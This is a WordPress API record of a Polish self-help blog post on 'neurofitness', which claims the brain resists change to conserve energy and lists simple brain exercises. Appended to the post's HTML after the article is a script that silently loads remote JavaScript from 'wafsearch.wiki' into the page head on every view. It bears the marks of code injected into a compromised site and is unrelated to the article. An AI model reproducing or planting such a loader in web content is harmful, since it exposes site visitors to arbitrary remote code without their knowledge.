{"id":1121,"date":"2024-03-05T10:34:35","date_gmt":"2024-03-05T09:34:35","guid":{"rendered":"https:\/\/global-metodi.com\/?p=1121"},"modified":"2026-01-08T13:08:38","modified_gmt":"2026-01-08T12:08:38","slug":"neurofitness-mozg-glownym-hamulcowym-naszych-zmian","status":"publish","type":"post","link":"https:\/\/global-metodi.com\/en\/2024\/03\/05\/neurofitness-mozg-glownym-hamulcowym-naszych-zmian\/","title":{"rendered":"NEUROFITNESS. IS THE BRAIN THE MAIN BRAKE OF OUR CHANGES?"},"content":{"rendered":"<div class=\"entry-content\">\n<p>Dlaczego tak si\u0119 dzieje- nasz m\u00f3zg dzia\u0142a \u201e po najmniejszej linii oporu\u201d<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Ten organ wa\u017c\u0105cy zaledwie 2% masy naszego cia\u0142a jest w stanie skonsumowa\u0107 nawet 30% dziennej dawki kalorii.<\/p>\n<p>&nbsp;<\/p>\n<p>Jakakolwiek zmiana to dodatkowy wydatek energetyczny, a przecie\u017c nasz m\u00f3zg chroni nas m.in. przed marnotrawieniem energii, dlatego jest niech\u0119tny jakimkolwiek zmianom. Wida\u0107 to na przyk\u0142adzie ma\u0142ych dzieci- one lubi\u0105 si\u0119 uczy\u0107, eksperymentowa\u0107, s\u0105 ciekawskie, wsz\u0119dobylskie i zawsze maj\u0105 si\u0142\u0119 ( no mo\u017ce za wyj\u0105tkiem sprz\u0105tania swoich zabawek ????). Nale\u017cy zaznaczy\u0107 \u017ce nie maj\u0105 one te\u017c wielu obowi\u0105zk\u00f3w, a co za tym idzie stres\u00f3w.<\/p>\n<p>&nbsp;<\/p>\n<p>Ale w pewnym momencie dorastamy\u2026 Co si\u0119 dzieje z tym wigorem, ciekawo\u015bci\u0105 \u015bwiata? Dorastamy, musimy pami\u0119ta\u0107 o wielu rzeczach, do tego stres, praca, obowi\u0105zki domowe itp. Jeste\u015bmy wyko\u0144czeni, energia drastycznie obni\u017ca si\u0119 w okolicach ju\u017c nawet popo\u0142udnia\u2026a to dopiero po\u0142owa dnia!<\/p>\n<p>&nbsp;<\/p>\n<p>Kiedy pr\u00f3bujemy co\u015b zmieni\u0107 m\u00f3zg sabotuje \u2026m\u00f3wi po co si\u0119 m\u0119czy\u0107, lepiej niech b\u0119dzie tak jak by\u0142o.<\/p>\n<p>&nbsp;<\/p>\n<p>I to jest jedna z potencjalnych przyczyn fiaska naszych nowych postanowie\u0144 \u2013 po co si\u0119 m\u0119czy\u0107, \u017cyjemy nawykami. Robi\u0105c co\u015b nawykowo, nie musimy za bardzo si\u0119 wysila\u0107.<\/p>\n<p>&nbsp;<\/p>\n<p>Jak zmieni\u0107 te przyzwyczajenia? Jednym ze sposob\u00f3w jest tzw. neurofitness, czyli \u0107wiczenia m\u00f3zgu M\u00f3zg uczy si\u0119 nowych rzeczy, staje si\u0119 bardziej plastyczny i tolerancyjny. Mniej sabotuje nasze zmiany.<\/p>\n<p>&nbsp;<\/p>\n<p>Jak \u0107wiczy\u0107 m\u00f3zg w codziennym \u017cyciu? Oto kilka praktycznych pomys\u0142\u00f3w:<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>Pojed\u017a inn\u0105 droga do pracy ni\u017c dotychczas<\/li>\n<li>Je\u015bli lubisz czyta\u0107, porozwi\u0105zuj par\u0119 zagadek logicznych<\/li>\n<li>Jeste\u015b umys\u0142em \u015bcis\u0142ym? Spr\u00f3buj przeczyta\u0107 wiersz i go  zinterpretowa\u0107<\/li>\n<li>Przemebluj mieszkanie, zaaran\u017cuj inaczej  swoje biuro- przestaw rzeczy na biurku<\/li>\n<li>Wykorzystaj swoje zmys\u0142y: \u0107wicz uwa\u017cno\u015b\u0107  i posied\u017a w ciszy<\/li>\n<li>Zr\u00f3b co\u015b czego jeszcze nigdy nie robi\u0142e\u015b ????<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>A dla zabawy sprawd\u017a wiek swojego m\u00f3zgu: <a class=\"swipebox\" href=\"https:\/\/www.youtube.com\/watch?v=4pZ3lYV-6zA\" data-rel=\"lightbox-video-0\">Kolorowy test, kt\u00f3ry zdradzi wiek twojego umys\u0142u \u2013 YouTube<\/a><\/p>\n<\/div>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dlaczego tak si\u0119 dzieje- nasz m\u00f3zg dzia\u0142a \u201e po najmniejszej linii oporu\u201d &nbsp; &nbsp; Ten organ wa\u017c\u0105cy zaledwie 2% masy naszego cia\u0142a jest w stanie skonsumowa\u0107 nawet 30% dziennej dawki kalorii. &nbsp; Jakakolwiek zmiana to dodatkowy wydatek energetyczny, a przecie\u017c nasz m\u00f3zg chroni nas m.in. przed marnotrawieniem energii, dlatego jest niech\u0119tny jakimkolwiek zmianom. Wida\u0107 to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1122,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[84],"tags":[],"class_list":["post-1121","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"acf":[],"_links":{"self":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1121","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/comments?post=1121"}],"version-history":[{"count":2,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1121\/revisions"}],"predecessor-version":[{"id":2049,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1121\/revisions\/2049"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media\/1122"}],"wp:attachment":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media?parent=1121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/categories?post=1121"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/tags?post=1121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}